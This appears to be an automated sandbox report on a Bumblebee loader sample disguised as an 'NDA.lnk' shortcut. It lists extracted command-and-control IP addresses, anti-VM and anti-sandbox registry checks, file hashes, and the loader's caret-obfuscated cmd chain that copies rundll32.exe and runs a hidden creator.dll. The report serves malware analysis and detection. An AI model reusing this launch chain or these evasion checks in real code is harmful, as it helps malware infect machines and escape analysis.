bumblebee | e7b4f762acf0e397919f1e1dfd96322efff2f5e97e79b7cd5456bf63808c2e53

Analysis

max time kernel
142s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
submitted
29-11-2024 12:52

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General

Target

NDA.lnk

Score

10^/10

bumblebee 0310 evasion loader

Malware Config

Extracted

Family

bumblebee

Botnet

0310

146.59.117.200:443

192.255.188.11:443

149.3.170.62:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a loader malware written in C++.
loader bumblebee
Bumblebee family
bumblebee

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	rundll32.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rundll32.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	rundll32.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2504	rundll32.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Wine	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
2504	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2504	rundll32.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2548	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe
2504	rundll32.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 4424	3452	cmd.exe	84
PID 3452 wrote to memory of 4424	3452	cmd.exe	84
PID 4424 wrote to memory of 4496	4424	cmd.exe	85
PID 4424 wrote to memory of 4496	4424	cmd.exe	85
PID 4424 wrote to memory of 2572	4424	cmd.exe	86
PID 4424 wrote to memory of 2572	4424	cmd.exe	86
PID 4424 wrote to memory of 2548	4424	cmd.exe	87
PID 4424 wrote to memory of 2548	4424	cmd.exe	87
PID 4424 wrote to memory of 2504	4424	cmd.exe	88
PID 4424 wrote to memory of 2504	4424	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NDA.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b /min xco^py /y C:\Windows\System32\rund*.exe c:\programdata && start /b /min xco^py /h /y cr^eat^or.dll c:\programdata && cd c:\programdata && timeout 1 && start /b /min r^u^ndll32.exe creator.dll,runprog && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\xcopy.exe
    xcopy /y C:\Windows\System32\rund*.exe c:\programdata
    3⤵
    PID:4496
- - C:\Windows\system32\xcopy.exe
    xcopy /h /y creator.dll c:\programdata
    3⤵
    PID:2572
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:2548
- - \??\c:\ProgramData\rundll32.exe
    rundll32.exe creator.dll,runprog
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Checks for VirtualBox DLLs, possible anti-VM trick
    - Suspicious behavior: EnumeratesProcesses
    PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\rundll32.exe

Filesize
70KB

MD5
ef3179d498793bf4234f708d3be28633

SHA1
dd399ae46303343f9f0da189aee11c67bd868222

SHA256
b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa

SHA512
02aff154762d7e53e37754f878ce6aa3f4df5a1eb167e27f13d9762dced32bec892bfa3f3314e3c6dce5998f7d3c400d7d0314b9326eedcab72207c60b3d332e

Download Submit
\??\c:\ProgramData\creator.dll

Filesize
2.8MB

MD5
f7e264d654ad023794222f1e2fa866e6

SHA1
0f5a405879ce713986b4940a51158bd2ee99e750

SHA256
177a9689065b14408eb7af71432ec9a621d56fba5182cd74f3690e989a95d023

SHA512
82bd12740934ff7608419770fd205f0ddd57bd418ecee827834866414cda9265e9600ad7931097942838df4dddcc751c0e31b1e5736c4e3f52e054c5e7bf2f6b

Download Submit
memory/2504-11-0x00007FFCBFA2D000-0x00007FFCBFA2E000-memory.dmp

Filesize
4KB

Download
memory/2504-12-0x000001642D570000-0x000001642D6C3000-memory.dmp

Filesize
1.3MB

Download
memory/2504-14-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2504-15-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2504-16-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2504-13-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2504-17-0x000001642D570000-0x000001642D6C3000-memory.dmp

Filesize
1.3MB

Download
memory/2504-18-0x000001642D570000-0x000001642D6C3000-memory.dmp

Filesize
1.3MB

Download
memory/2504-19-0x00007FFCBFA2D000-0x00007FFCBFA2E000-memory.dmp

Filesize
4KB

Download
memory/2504-20-0x00007FFCBF990000-0x00007FFCBFB85000-memory.dmp

Filesize
2.0MB

Download
memory/2504-21-0x000001642D570000-0x000001642D6C3000-memory.dmp

Filesize
1.3MB

Download